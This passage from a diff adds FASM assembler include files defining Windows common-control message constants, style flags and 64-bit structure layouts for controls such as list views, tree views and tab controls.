+PBM_SETPOS = WM_USER + 2 +PBM_DELTAPOS = WM_USER + 3 +PBM_SETSTEP = WM_USER + 4 +PBM_STEPIT = WM_USER + 5 +PBM_SETRANGE32 = WM_USER + 6 +PBM_GETRANGE = WM_USER + 7 +PBM_GETPOS = WM_USER + 8 + +; Hot-key control messages + +HKM_SETHOTKEY = WM_USER + 1 +HKM_GETHOTKEY = WM_USER + 2 +HKM_SETRULES = WM_USER + 3 + +; Hot key flags + +HOTKEYF_SHIFT = 1 +HOTKEYF_CONTROL = 2 +HOTKEYF_ALT = 4 +HOTKEYF_EXT = 8 + +; Key combination flags + +HKCOMB_NONE = 01h +HKCOMB_S = 02h +HKCOMB_C = 04h +HKCOMB_A = 08h +HKCOMB_SC = 10h +HKCOMB_SA = 20h +HKCOMB_CA = 40h +HKCOMB_SCA = 80h + +; List view styles + +LVS_ICON = 0000h +LVS_REPORT = 0001h +LVS_SMALLICON = 0002h +LVS_LIST = 0003h +LVS_TYPEMASK = 0003h +LVS_SINGLESEL = 0004h +LVS_SHOWSELALWAYS = 0008h +LVS_SORTASCENDING = 0010h +LVS_SORTDESCENDING = 0020h +LVS_SHAREIMAGELISTS = 0040h +LVS_NOLABELWRAP = 0080h +LVS_AUTOARRANGE = 0100h +LVS_EDITLABELS = 0200h +LVS_OWNERDATA = 1000h +LVS_NOSCROLL = 2000h +LVS_ALIGNTOP = 0000h +LVS_ALIGNLEFT = 0800h +LVS_OWNERDRAWFIXED = 0400h +LVS_NOCOLUMNHEADER = 4000h +LVS_NOSORTHEADER = 8000h + +; List view extended styles + +LVS_EX_GRIDLINES = 0001h +LVS_EX_SUBITEMIMAGES = 0002h +LVS_EX_CHECKBOXES = 0004h +LVS_EX_TRACKSELECT = 0008h +LVS_EX_HEADERDRAGDROP = 0010h +LVS_EX_FULLROWSELECT = 0020h +LVS_EX_ONECLICKACTIVATE = 0040h +LVS_EX_TWOCLICKACTIVATE = 0080h +LVS_EX_FLATSB = 0100h +LVS_EX_REGIONAL = 0200h +LVS_EX_INFOTIP = 0400h +LVS_EX_UNDERLINEHOT = 0800h +LVS_EX_UNDERLINECOLD = 1000h +LVS_EX_MULTIWORKAREAS = 2000h +LVS_EX_LABELTIP = 4000h + +; List view messages + +LVM_GETBKCOLOR = LVM_FIRST + 0 +LVM_SETBKCOLOR = LVM_FIRST + 1 +LVM_GETIMAGELIST = LVM_FIRST + 2 +LVM_SETIMAGELIST = LVM_FIRST + 3 +LVM_GETITEMCOUNT = LVM_FIRST + 4 +LVM_GETITEMA = LVM_FIRST + 5 +LVM_SETITEMA = LVM_FIRST + 6 +LVM_INSERTITEMA = LVM_FIRST + 7 +LVM_DELETEITEM = LVM_FIRST + 8 +LVM_DELETEALLITEMS = LVM_FIRST + 9 +LVM_GETCALLBACKMASK = LVM_FIRST + 10 +LVM_SETCALLBACKMASK = LVM_FIRST + 11 +LVM_GETNEXTITEM = LVM_FIRST + 12 +LVM_FINDITEMA = LVM_FIRST + 13 +LVM_GETITEMRECT = LVM_FIRST + 14 +LVM_SETITEMPOSITION = LVM_FIRST + 15 +LVM_GETITEMPOSITION = LVM_FIRST + 16 +LVM_GETSTRINGWIDTHA = LVM_FIRST + 17 +LVM_HITTEST = LVM_FIRST + 18 +LVM_ENSUREVISIBLE = LVM_FIRST + 19 +LVM_SCROLL = LVM_FIRST + 20 +LVM_REDRAWITEMS = LVM_FIRST + 21 +LVM_ARRANGE = LVM_FIRST + 22 +LVM_EDITLABELA = LVM_FIRST + 23 +LVM_GETEDITCONTROL = LVM_FIRST + 24 +LVM_GETCOLUMNA = LVM_FIRST + 25 +LVM_SETCOLUMNA = LVM_FIRST + 26 +LVM_INSERTCOLUMNA = LVM_FIRST + 27 +LVM_DELETECOLUMN = LVM_FIRST + 28 +LVM_GETCOLUMNWIDTH = LVM_FIRST + 29 +LVM_SETCOLUMNWIDTH = LVM_FIRST + 30 +LVM_CREATEDRAGIMAGE = LVM_FIRST + 33 +LVM_GETVIEWRECT = LVM_FIRST + 34 +LVM_GETTEXTCOLOR = LVM_FIRST + 35 +LVM_SETTEXTCOLOR = LVM_FIRST + 36 +LVM_GETTEXTBKCOLOR = LVM_FIRST + 37 +LVM_SETTEXTBKCOLOR = LVM_FIRST + 38 +LVM_GETTOPINDEX = LVM_FIRST + 39 +LVM_GETCOUNTPERPAGE = LVM_FIRST + 40 +LVM_GETORIGIN = LVM_FIRST + 41 +LVM_UPDATE = LVM_FIRST + 42 +LVM_SETITEMSTATE = LVM_FIRST + 43 +LVM_GETITEMSTATE = LVM_FIRST + 44 +LVM_GETITEMTEXTA = LVM_FIRST + 45 +LVM_SETITEMTEXTA = LVM_FIRST + 46 +LVM_SETITEMCOUNT = LVM_FIRST + 47 +LVM_SORTITEMS = LVM_FIRST + 48 +LVM_SETITEMPOSITION32 = LVM_FIRST + 49 +LVM_GETSELECTEDCOUNT = LVM_FIRST + 50 +LVM_GETITEMSPACING = LVM_FIRST + 51 +LVM_GETISEARCHSTRINGA = LVM_FIRST + 52 +LVM_SETICONSPACING = LVM_FIRST + 53 +LVM_SETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 54 +LVM_GETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 55 +LVM_GETSUBITEMRECT = LVM_FIRST + 56 +LVM_SUBITEMHITTEST = LVM_FIRST + 57 +LVM_SETCOLUMNORDERARRAY = LVM_FIRST + 58 +LVM_GETCOLUMNORDERARRAY = LVM_FIRST + 59 +LVM_SETHOTITEM = LVM_FIRST + 60 +LVM_GETHOTITEM = LVM_FIRST + 61 +LVM_SETHOTCURSOR = LVM_FIRST + 62 +LVM_GETHOTCURSOR = LVM_FIRST + 63 +LVM_APPROXIMATEVIEWRECT = LVM_FIRST + 64 +LVM_SETWORKAREA = LVM_FIRST + 65 +LVM_GETITEMW = LVM_FIRST + 75 +LVM_SETITEMW = LVM_FIRST + 76 +LVM_INSERTITEMW = LVM_FIRST + 77 +LVM_FINDITEMW = LVM_FIRST + 83 +LVM_GETSTRINGWIDTHW = LVM_FIRST + 87 +LVM_GETCOLUMNW = LVM_FIRST + 95 +LVM_SETCOLUMNW = LVM_FIRST + 96 +LVM_INSERTCOLUMNW = LVM_FIRST + 97 +LVM_GETITEMTEXTW = LVM_FIRST + 115 +LVM_SETITEMTEXTW = LVM_FIRST + 116 +LVM_GETISEARCHSTRINGW = LVM_FIRST + 117 +LVM_EDITLABELW = LVM_FIRST + 118 +LVM_GETITEM = LVM_GETITEMA +LVM_SETITEM = LVM_SETITEMA +LVM_INSERTITEM = LVM_INSERTITEMA +LVM_FINDITEM = LVM_FINDITEMA +LVM_GETSTRINGWIDTH = LVM_GETSTRINGWIDTHA +LVM_GETCOLUMN = LVM_GETCOLUMNA +LVM_SETCOLUMN = LVM_SETCOLUMNA +LVM_INSERTCOLUMN = LVM_INSERTCOLUMNA +LVM_GETITEMTEXT = LVM_GETITEMTEXTA +LVM_SETITEMTEXT = LVM_SETITEMTEXTA +LVM_GETISEARCHSTRING = LVM_GETISEARCHSTRINGA +LVM_EDITLABEL = LVM_EDITLABELA + +; List view image list types + +LVSIL_NORMAL = 0 +LVSIL_SMALL = 1 +LVSIL_STATE = 2 + +; LVM_SETITEMCOUNT flags + +LVSICF_NOINVALIDATEALL = 1 +LVSICF_NOSCROLL = 2 + +; List view item structure flags + +LVIF_TEXT = 0001h +LVIF_IMAGE = 0002h +LVIF_PARAM = 0004h +LVIF_STATE = 0008h +LVIF_INDENT = 0010h +LVIF_NORECOMPUTE = 0800h +LVIF_DI_SETITEM = 1000h + +; List view item states + +LVIS_FOCUSED = 00001h +LVIS_SELECTED = 00002h +LVIS_CUT = 00004h +LVIS_DROPHILITED = 00008h +LVIS_ACTIVATING = 0020h +LVIS_OVERLAYMASK = 00F00h +LVIS_STATEIMAGEMASK = 0F000h + +; List view callback item values + +LPSTR_TEXTCALLBACK = -1 +I_IMAGECALLBACK = -1 +I_CHILDRENCALLBACK = -1 + +; List view next item relations + +LVNI_ALL = 000h +LVNI_FOCUSED = 001h +LVNI_SELECTED = 002h +LVNI_CUT = 004h +LVNI_DROPHILITED = 008h +LVNI_ABOVE = 100h +LVNI_BELOW = 200h +LVNI_TOLEFT = 400h +LVNI_TORIGHT = 800h + +; List view search types + +LVFI_PARAM = 01h +LVFI_STRING = 02h +LVFI_PARTIAL = 08h +LVFI_WRAP = 20h +LVFI_NEARESTXY = 40h + +; List view item rectangle types + +LVIR_BOUNDS = 0 +LVIR_ICON = 1 +LVIR_LABEL = 2 +LVIR_SELECTBOUNDS = 3 + +; List view hit test flags + +LVHT_NOWHERE = 01h +LVHT_ONITEMICON = 02h +LVHT_ONITEMLABEL = 04h +LVHT_ONITEMSTATEICON= 08h +LVHT_ONITEM = LVHT_ONITEMICON or LVHT_ONITEMLABEL or LVHT_ONITEMSTATEICON +LVHT_ABOVE = 08h +LVHT_BELOW = 10h +LVHT_TORIGHT = 20h +LVHT_TOLEFT = 40h + +; List view alignment values + +LVA_DEFAULT = 000h +LVA_ALIGNLEFT = 001h +LVA_ALIGNTOP = 002h +LVA_ALIGNRIGHT = 003h +LVA_ALIGNBOTTOM = 004h +LVA_SNAPTOGRID = 005h +LVA_SORTASCENDING = 100h +LVA_SORTDESCENDING = 200h + +; List view column structure flags + +LVCF_FMT = 1 +LVCF_WIDTH = 2 +LVCF_TEXT = 4 +LVCF_SUBITEM = 8 + +; List view column alignment values + +LVCFMT_LEFT = 0 +LVCFMT_RIGHT = 1 +LVCFMT_CENTER = 2 +LVCFMT_JUSTIFYMASK = 3 + +; List view column width values + +LVSCW_AUTOSIZE = -1 +LVSCW_AUTOSIZE_USEHEADER = -2 + +; List view notifications + +LVN_ITEMCHANGING = LVN_FIRST - 0 +LVN_ITEMCHANGED = LVN_FIRST - 1 +LVN_INSERTITEM = LVN_FIRST - 2 +LVN_DELETEITEM = LVN_FIRST - 3 +LVN_DELETEALLITEMS = LVN_FIRST - 4 +LVN_BEGINLABELEDITA = LVN_FIRST - 5 +LVN_ENDLABELEDITA = LVN_FIRST - 6 +LVN_COLUMNCLICK = LVN_FIRST - 8 +LVN_BEGINDRAG = LVN_FIRST - 9 +LVN_BEGINRDRAG = LVN_FIRST - 11 +LVN_ODCACHEHINT = LVN_FIRST - 13 +LVN_GETDISPINFOA = LVN_FIRST - 50 +LVN_SETDISPINFOA = LVN_FIRST - 51 +LVN_ODFINDITEMA = LVN_FIRST - 52 +LVN_KEYDOWN = LVN_FIRST - 55 +LVN_BEGINLABELEDITW = LVN_FIRST - 75 +LVN_ENDLABELEDITW = LVN_FIRST - 76 +LVN_GETDISPINFOW = LVN_FIRST - 77 +LVN_SETDISPINFOW = LVN_FIRST - 78 +LVN_ODFINDITEMW = LVN_FIRST - 79 +LVN_BEGINLABELEDIT = LVN_BEGINLABELEDITA +LVN_ENDLABELEDIT = LVN_ENDLABELEDITA +LVN_GETDISPINFO = LVN_GETDISPINFOA +LVN_SETDISPINFO = LVN_SETDISPINFOA +LVN_ODFINDITEM = LVN_ODFINDITEMA + +; Tree view styles + +TVS_HASBUTTONS = 0001h +TVS_HASLINES = 0002h +TVS_LINESATROOT = 0004h +TVS_EDITLABELS = 0008h +TVS_DISABLEDRAGDROP = 0010h +TVS_SHOWSELALWAYS = 0020h +TVS_RTLREADING = 0040h +TVS_NOTOOLTIPS = 0080h +TVS_CHECKBOXES = 0100h +TVS_TRACKSELECT = 0200h +TVS_SINGLEEXPAND = 0400h +TVS_INFOTIP = 0800h +TVS_FULLROWSELECT = 1000h +TVS_NOSCROLL = 2000h +TVS_NONEVENHEIGHT = 4000h + +; Tree view item structure flags + +TVIF_TEXT = 0001h +TVIF_IMAGE = 0002h +TVIF_PARAM = 0004h +TVIF_STATE = 0008h +TVIF_HANDLE = 0010h +TVIF_SELECTEDIMAGE = 0020h +TVIF_CHILDREN = 0040h +TVIF_DI_SETITEM = 1000h + +; Tree view item states + +TVIS_FOCUSED = 00001h +TVIS_SELECTED = 00002h +TVIS_CUT = 00004h +TVIS_DROPHILITED = 00008h +TVIS_BOLD = 00010h +TVIS_EXPANDED = 00020h +TVIS_EXPANDEDONCE = 00040h +TVIS_EXPANDPARTIAL = 00080h +TVIS_OVERLAYMASK = 00F00h +TVIS_STATEIMAGEMASK = 0F000h +TVIS_USERMASK = 0F000h + +; Tree view predefined item values + +TVI_ROOT = 0FFFF0000h +TVI_FIRST = 0FFFF0001h +TVI_LAST = 0FFFF0002h +TVI_SORT = 0FFFF0003h + +; Tree view messages + +TVM_INSERTITEMA = TV_FIRST + 0 +TVM_DELETEITEM = TV_FIRST + 1 +TVM_EXPAND = TV_FIRST + 2 +TVM_GETITEMRECT = TV_FIRST + 4 +TVM_GETCOUNT = TV_FIRST + 5 +TVM_GETINDENT = TV_FIRST + 6 +TVM_SETINDENT = TV_FIRST + 7 +TVM_GETIMAGELIST = TV_FIRST + 8 +TVM_SETIMAGELIST = TV_FIRST + 9 +TVM_GETNEXTITEM = TV_FIRST + 10 +TVM_SELECTITEM = TV_FIRST + 11 +TVM_GETITEMA = TV_FIRST + 12 +TVM_SETITEMA = TV_FIRST + 13 +TVM_EDITLABELA = TV_FIRST + 14 +TVM_GETEDITCONTROL = TV_FIRST + 15 +TVM_GETVISIBLECOUNT = TV_FIRST + 16 +TVM_HITTEST = TV_FIRST + 17 +TVM_CREATEDRAGIMAGE = TV_FIRST + 18 +TVM_SORTCHILDREN = TV_FIRST + 19 +TVM_ENSUREVISIBLE = TV_FIRST + 20 +TVM_SORTCHILDRENCB = TV_FIRST + 21 +TVM_ENDEDITLABELNOW = TV_FIRST + 22 +TVM_GETISEARCHSTRINGA = TV_FIRST + 23 +TVM_INSERTITEMW = TV_FIRST + 50 +TVM_GETITEMW = TV_FIRST + 62 +TVM_SETITEMW = TV_FIRST + 63 +TVM_GETISEARCHSTRINGW = TV_FIRST + 64 +TVM_EDITLABELW = TV_FIRST + 65 +TVM_INSERTITEM = TVM_INSERTITEMA +TVM_GETITEM = TVM_GETITEMA +TVM_SETITEM = TVM_SETITEMA +TVM_GETISEARCHSTRING = TVM_GETISEARCHSTRINGA +TVM_EDITLABEL = TVM_EDITLABELA + +; Tree view action flags + +TVE_COLLAPSE = 0001h +TVE_EXPAND = 0002h +TVE_TOGGLE = 0003h +TVE_EXPANDPARTIAL = 4000h +TVE_COLLAPSERESET = 8000h + +; Tree view image list types + +TVSIL_NORMAL = 0 +TVSIL_STATE = 2 + +; Tree view next item types + +TVGN_ROOT = 0 +TVGN_NEXT = 1 +TVGN_PREVIOUS = 2 +TVGN_PARENT = 3 +TVGN_CHILD = 4 +TVGN_FIRSTVISIBLE = 5 +TVGN_NEXTVISIBLE = 6 +TVGN_PREVIOUSVISIBLE = 7 +TVGN_DROPHILITE = 8 +TVGN_CARET = 9 + +; Tree view hit test flags + +TVHT_NOWHERE = 001h +TVHT_ONITEMICON = 002h +TVHT_ONITEMLABEL = 004h +TVHT_ONITEMINDENT = 008h +TVHT_ONITEMBUTTON = 010h +TVHT_ONITEMRIGHT = 020h +TVHT_ONITEMSTATEICON = 040h +TVHT_ONITEM = TVHT_ONITEMICON or TVHT_ONITEMLABEL or TVHT_ONITEMSTATEICON +TVHT_ABOVE = 100h +TVHT_BELOW = 200h +TVHT_TORIGHT = 400h +TVHT_TOLEFT = 800h + +; Tree view notifications + +TVN_SELCHANGINGA = TVN_FIRST - 1 +TVN_SELCHANGEDA = TVN_FIRST - 2 +TVN_GETDISPINFOA = TVN_FIRST - 3 +TVN_SETDISPINFOA = TVN_FIRST - 4 +TVN_ITEMEXPANDINGA = TVN_FIRST - 5 +TVN_ITEMEXPANDEDA = TVN_FIRST - 6 +TVN_BEGINDRAGA = TVN_FIRST - 7 +TVN_BEGINRDRAGA = TVN_FIRST - 8 +TVN_DELETEITEMA = TVN_FIRST - 9 +TVN_BEGINLABELEDITA = TVN_FIRST - 10 +TVN_ENDLABELEDITA = TVN_FIRST - 11 +TVN_KEYDOWN = TVN_FIRST - 12 +TVN_SELCHANGINGW = TVN_FIRST - 50 +TVN_SELCHANGEDW = TVN_FIRST - 51 +TVN_GETDISPINFOW = TVN_FIRST - 52 +TVN_SETDISPINFOW = TVN_FIRST - 53 +TVN_ITEMEXPANDINGW = TVN_FIRST - 54 +TVN_ITEMEXPANDEDW = TVN_FIRST - 55 +TVN_BEGINDRAGW = TVN_FIRST - 56 +TVN_BEGINRDRAGW = TVN_FIRST - 57 +TVN_DELETEITEMW = TVN_FIRST - 58 +TVN_BEGINLABELEDITW = TVN_FIRST - 59 +TVN_ENDLABELEDITW = TVN_FIRST - 60 +TVN_SELCHANGING = TVN_SELCHANGINGA +TVN_SELCHANGED = TVN_SELCHANGEDA +TVN_GETDISPINFO = TVN_GETDISPINFOA +TVN_SETDISPINFO = TVN_SETDISPINFOA +TVN_ITEMEXPANDING = TVN_ITEMEXPANDINGA +TVN_ITEMEXPANDED = TVN_ITEMEXPANDEDA +TVN_BEGINDRAG = TVN_BEGINDRAGA +TVN_BEGINRDRAG = TVN_BEGINRDRAGA +TVN_DELETEITEM = TVN_DELETEITEMA +TVN_BEGINLABELEDIT = TVN_BEGINLABELEDITA +TVN_ENDLABELEDIT = TVN_ENDLABELEDITA + +; Tree view action flags + +TVC_UNKNOWN = 0 +TVC_BYMOUSE = 1 +TVC_BYKEYBOARD = 2 + +; Tab control styles + +TCS_SCROLLOPPOSITE = 0001h +TCS_BOTTOM = 0002h +TCS_RIGHT = 0002h +TCS_FORCEICONLEFT = 0010h +TCS_FORCELABELLEFT = 0020h +TCS_HOTTRACK = 0040h +TCS_VERTICAL = 0080h +TCS_TABS = 0000h +TCS_BUTTONS = 0100h +TCS_SINGLELINE = 0000h +TCS_MULTILINE = 0200h +TCS_RIGHTJUSTIFY = 0000h +TCS_FIXEDWIDTH = 0400h +TCS_RAGGEDRIGHT = 0800h +TCS_FOCUSONBUTTONDOWN = 1000h +TCS_OWNERDRAWFIXED = 2000h +TCS_TOOLTIPS = 4000h +TCS_FOCUSNEVER = 8000h + +; Tab control messages + +TCM_GETIMAGELIST = TCM_FIRST + 2 +TCM_SETIMAGELIST = TCM_FIRST + 3 +TCM_GETITEMCOUNT = TCM_FIRST + 4 +TCM_GETITEMA = TCM_FIRST + 5 +TCM_SETITEMA = TCM_FIRST + 6 +TCM_INSERTITEMA = TCM_FIRST + 7 +TCM_DELETEITEM = TCM_FIRST + 8 +TCM_DELETEALLITEMS = TCM_FIRST + 9 +TCM_GETITEMRECT = TCM_FIRST + 10 +TCM_GETCURSEL = TCM_FIRST + 11 +TCM_SETCURSEL = TCM_FIRST + 12 +TCM_HITTEST = TCM_FIRST + 13 +TCM_SETITEMEXTRA = TCM_FIRST + 14 +TCM_ADJUSTRECT = TCM_FIRST + 40 +TCM_SETITEMSIZE = TCM_FIRST + 41 +TCM_REMOVEIMAGE = TCM_FIRST + 42 +TCM_SETPADDING = TCM_FIRST + 43 +TCM_GETROWCOUNT = TCM_FIRST + 44 +TCM_GETTOOLTIPS = TCM_FIRST + 45 +TCM_SETTOOLTIPS = TCM_FIRST + 46 +TCM_GETCURFOCUS = TCM_FIRST + 47 +TCM_SETCURFOCUS = TCM_FIRST + 48 +TCM_GETITEMW = TCM_FIRST + 60 +TCM_SETITEMW = TCM_FIRST + 61 +TCM_INSERTITEMW = TCM_FIRST + 62 +TCM_GETITEM = TCM_GETITEMA +TCM_SETITEM = TCM_SETITEMA +TCM_INSERTITEM = TCM_INSERTITEMA + +; Tab control item structure flags + +TCIF_TEXT = 1 +TCIF_IMAGE = 2 +TCIF_RTLREADING = 4 +TCIF_PARAM = 8 + +; Tab control hit test flags + +TCHT_NOWHERE = 1 +TCHT_ONITEMICON = 2 +TCHT_ONITEMLABEL = 4 +TCHT_ONITEM = TCHT_ONITEMICON or TCHT_ONITEMLABEL + +; Tab control notifications + +TCN_KEYDOWN = TCN_FIRST - 0 +TCN_SELCHANGE = TCN_FIRST - 1 +TCN_SELCHANGING = TCN_FIRST - 2 + +; Animation control styles + +ACS_CENTER = 1 +ACS_TRANSPARENT = 2 +ACS_AUTOPLAY = 4 +ACS_TIMER = 8 + +; Animation control messages + +ACM_OPENA = WM_USER + 100 +ACM_PLAY = WM_USER + 101 +ACM_STOP = WM_USER + 102 +ACM_OPENW = WM_USER + 103 +ACM_OPEN = ACM_OPENA + +; Animation control notifications + +ACN_START = 1 +ACN_STOP = 2 + +; Month calendar styles + +MCS_DAYSTATE = 1 +MCS_MULTISELECT = 2 +MCS_WEEKNUMBERS = 4 +MCS_NOTODAY_PRE_IE4 = 8 +MCS_NOTODAYCIRCLE = 8 +MCS_NOTODAY = 16 + +; Month calendar messages + +MCM_GETCURSEL = MCM_FIRST + 1 +MCM_SETCURSEL = MCM_FIRST + 2 +MCM_GETMAXSELCOUNT = MCM_FIRST + 3 +MCM_SETMAXSELCOUNT = MCM_FIRST + 4 +MCM_GETSELRANGE = MCM_FIRST + 5 +MCM_SETSELRANGE = MCM_FIRST + 6 +MCM_GETMONTHRANGE = MCM_FIRST + 7 +MCM_SETDAYSTATE = MCM_FIRST + 8 +MCM_GETMINREQRECT = MCM_FIRST + 9 +MCM_SETCOLOR = MCM_FIRST + 10 +MCM_GETCOLOR = MCM_FIRST + 11 +MCM_SETTODAY = MCM_FIRST + 12 +MCM_GETTODAY = MCM_FIRST + 13 +MCM_HITTEST = MCM_FIRST + 14 +MCM_SETFIRSTDAYOFWEEK = MCM_FIRST + 15 +MCM_GETFIRSTDAYOFWEEK = MCM_FIRST + 16 +MCM_GETRANGE = MCM_FIRST + 17 +MCM_SETRANGE = MCM_FIRST + 18 +MCM_GETMONTHDELTA = MCM_FIRST + 19 +MCM_SETMONTHDELTA = MCM_FIRST + 20 + +; Month calendar hit test flags + +MCHT_TITLE = 0010000h +MCHT_CALENDAR = 0020000h +MCHT_TODAYLINK = 0030000h +MCHT_NEXT = 1000000h +MCHT_PREV = 2000000h +MCHT_NOWHERE = 0000000h +MCHT_TITLEBK = MCHT_TITLE +MCHT_TITLEMONTH = MCHT_TITLE or 1 +MCHT_TITLEYEAR = MCHT_TITLE or 2 +MCHT_TITLEBTNNEXT = MCHT_TITLE or MCHT_NEXT or 3 +MCHT_TITLEBTNPREV = MCHT_TITLE or MCHT_PREV or 3 +MCHT_CALENDARBK = MCHT_CALENDAR +MCHT_CALENDARDATE = MCHT_CALENDAR or 1 +MCHT_CALENDARDATENEXT = MCHT_CALENDARDATE or MCHT_NEXT +MCHT_CALENDARDATEPREV = MCHT_CALENDARDATE or MCHT_PREV +MCHT_CALENDARDAY = MCHT_CALENDAR or 2 +MCHT_CALENDARWEEKNUM = MCHT_CALENDAR or 3 + +; Month calendar color codes + +MCSC_BACKGROUND = 0 +MCSC_TEXT = 1 +MCSC_TITLEBK = 2 +MCSC_TITLETEXT = 3 +MCSC_MONTHBK = 4 +MCSC_TRAILINGTEXT = 5 + +; Month calendar notifications + +MCN_SELCHANGE = MCN_FIRST + 1 +MCN_GETDAYSTATE = MCN_FIRST + 3 +MCN_SELECT = MCN_FIRST + 4 + +; Date-time pick control messages + +DTM_GETSYSTEMTIME = DTM_FIRST + 1 +DTM_SETSYSTEMTIME = DTM_FIRST + 2 +DTM_GETRANGE = DTM_FIRST + 3 +DTM_SETRANGE = DTM_FIRST + 4 +DTM_SETFORMATA = DTM_FIRST + 5 +DTM_SETMCCOLOR = DTM_FIRST + 6 +DTM_GETMCCOLOR = DTM_FIRST + 7 +DTM_GETMONTHCAL = DTM_FIRST + 8 +DTM_SETMCFONT = DTM_FIRST + 9 +DTM_GETMCFONT = DTM_FIRST + 10 +DTM_SETFORMATW = DTM_FIRST + 50 +DTM_SETFORMAT = DTM_SETFORMATA + +; Date-time pick control styles + +DTS_UPDOWN = 01h +DTS_SHOWNONE = 02h +DTS_SHORTDATEFORMAT = 00h +DTS_LONGDATEFORMAT = 04h +DTS_TIMEFORMAT = 09h +DTS_APPCANPARSE = 10h +DTS_RIGHTALIGN = 20h + +; Date-time pick control notifications + +DTN_DATETIMECHANGE = DTN_FIRST + 1 +DTN_USERSTRINGA = DTN_FIRST + 2 +DTN_WMKEYDOWNA = DTN_FIRST + 3 +DTN_FORMATA = DTN_FIRST + 4 +DTN_FORMATQUERYA = DTN_FIRST + 5 +DTN_DROPDOWN = DTN_FIRST + 6 +DTN_CLOSEUP = DTN_FIRST + 7 +DTN_USERSTRINGW = DTN_FIRST + 15 +DTN_WMKEYDOWNW = DTN_FIRST + 16 +DTN_FORMATW = DTN_FIRST + 17 +DTN_FORMATQUERYW = DTN_FIRST + 18 +DTN_USERSTRING = DTN_USERSTRINGA +DTN_WMKEYDOWN = DTN_WMKEYDOWNA +DTN_FORMAT = DTN_FORMATA +DTN_FORMATQUERY = DTN_FORMATQUERYA + +; ImageList_LoadImage types + +IMAGE_BITMAP = 0 +IMAGE_ICON = 1 +IMAGE_CURSOR = 2 +IMAGE_ENHMETAFILE = 3 + +; ImageList_LoadImage flags + +LR_DEFAULTCOLOR = 0000h +LR_MONOCHROME = 0001h +LR_COLOR = 0002h +LR_COPYRETURNORG = 0004h +LR_COPYDELETEORG = 0008h +LR_LOADFROMFILE = 0010h +LR_LOADTRANSPARENT = 0020h +LR_DEFAULTSIZE = 0040h +LR_VGACOLOR = 0080h +LR_LOADMAP3DCOLORS = 1000h +LR_CREATEDIBSECTION = 2000h +LR_COPYFROMRESOURCE = 4000h +LR_SHARED = 8000h + +; IP control messages + +IPM_CLEARADDRESS = WM_USER + 100 +IPM_SETADDRESS = WM_USER + 101 +IPM_GETADDRESS = WM_USER + 102 +IPM_SETRANGE = WM_USER + 103 +IPM_SETFOCUS = WM_USER + 104 +IPM_ISBLANK = WM_USER + 105 + +; Custom Draw flags + +CDRF_DODEFAULT = 0 +CDRF_NEWFONT = 2 +CDRF_SKIPDEFAULT = 4 +CDRF_NOTIFYPOSTPAINT = 10h +CDRF_NOTIFYITEMDRAW = 20h +CDRF_NOTIFYSUBITEMDRAW = 20h +CDRF_NOTIFYPOSTERASE = 40h +CDDS_PREPAINT = 1 +CDDS_POSTPAINT = 2 +CDDS_PREERASE = 3 +CDDS_POSTERASE = 4 +CDDS_ITEM = 10000h +CDDS_ITEMPREPAINT = CDDS_ITEM or CDDS_PREPAINT +CDDS_ITEMPOSTPAINT = CDDS_ITEM or CDDS_POSTPAINT +CDDS_ITEMPREERASE = CDDS_ITEM or CDDS_PREERASE +CDDS_ITEMPOSTERASE = CDDS_ITEM or CDDS_POSTERASE +CDDS_SUBITEM = 20000h +CDIS_SELECTED = 1 +CDIS_GRAYED = 2 +CDIS_DISABLED = 4 +CDIS_CHECKED = 8 +CDIS_FOCUS = 10h +CDIS_DEFAULT = 20h +CDIS_HOT = 40h +CDIS_MARKED = 80h +CDIS_INDETERMINATE = 100h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL64.INC new file mode 100755 index 0000000..9c76662 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL64.INC @@ -0,0 +1,1871 @@ + +; COMCTL32.DLL structures and constants + +struct PROPSHEETPAGE + dwSize dd ? + dwFlags dd ? + hInstance dq ? + pszTemplate dq ? + pszIcon dq ? + pszTitle dq ? + pfnDlgProc dq ? + lParam dd ?,? + pfnCallback dq ? + pcRefParent dq ? +ends + +struct PROPSHEETHEADER + dwSize dd ? + dwFlags dd ? + hwndParent dq ? + hInstance dq ? + pszIcon dq ? + pszCaption dq ? + nPages dd ?,? + pStartPage dq ? + ppsp dq ? + pfnCallback dq ? +ends + +struct IMAGEINFO + hbmImage dq ? + hbmMask dq ? + Unused1 dd ? + Unused2 dd ? + rcImage RECT +ends + +struct HD_ITEM + mask dd ? + cxy dd ? + pszText dq ? + hbm dq ? + cchTextMax dd ? + fmt dd ? + lParam dd ? +ends + +struct HD_LAYOUT + prc dq ? + pwpos dq ? +ends + +struct HD_HITTESTINFO + pt POINT + flags dd ? + iItem dd ? +ends + +struct HD_NOTIFY + hdr NMHDR + iItem dd ? + iButton dd ? + pitem dq ? +ends + +struct TBBUTTON + iBitmap dd ? + idCommand dd ? + fsState db ? + fsStyle db ?,6 dup ? + dwData dq ? + iString dq ? +ends + +struct COLORMAP + from dd ? + to dd ? +ends + +struct TBADDBITMAP + hInst dq ? + nID dd ?,? +ends + +struct TBSAVEPARAMS + hkr dq ? + pszSubKey dq ? + pszValueName dq ? +ends + +struct TBREPLACEBITMAP + hInstOld dq ? + nIDOld dq ? + hInstNew dq ? + nIDNew dq ? + nButtons dq ? +ends + +struct NMTOOLBAR + hdr NMHDR + iItem dd ? + tbButton TBBUTTON + cchText dd ? + pszText dq ? +ends + +struct REBARINFO + cbSize dd ? + fMask dd ? + himl dq ? +ends + +struct REBARBANDINFO + cbSize dd ? + fMask dd ? + fStyle dd ? + clrFore dd ? + clrBack dd ?,? + lpText dq ? + cch dd ? + iImage dd ? + hwndChild dd ? + cxMinChild dd ? + cyMinChild dd ? + cx dd ? + hbmBack dq ? + wID dd ? +ends + +struct TOOLINFO + cbSize dd ? + uFlags dd ? + hwnd dq ? + uId dq ? + rect RECT + hInst dq ? + lpszText dq ? + lParam dq ? + lpReserved dq ? +ends + +struct TTHITTESTINFO + hwnd dq ? + pt POINT + ti TOOLINFO +ends + +struct TOOLTIPTEXT + hdr NMHDR + lpszText dq ? + szText db 80 dup (?) + hinst dq ? + uFlags dd ? +ends + +struct UDACCEL + nSec dd ? + nInc dd ? +ends + +struct NM_UPDOWN + hdr NMHDR + iPos dd ? + iDelta dd ? +ends + +struct LV_ITEM + mask dd ? + iItem dd ? + iSubItem dd ? + state dd ? + stateMask 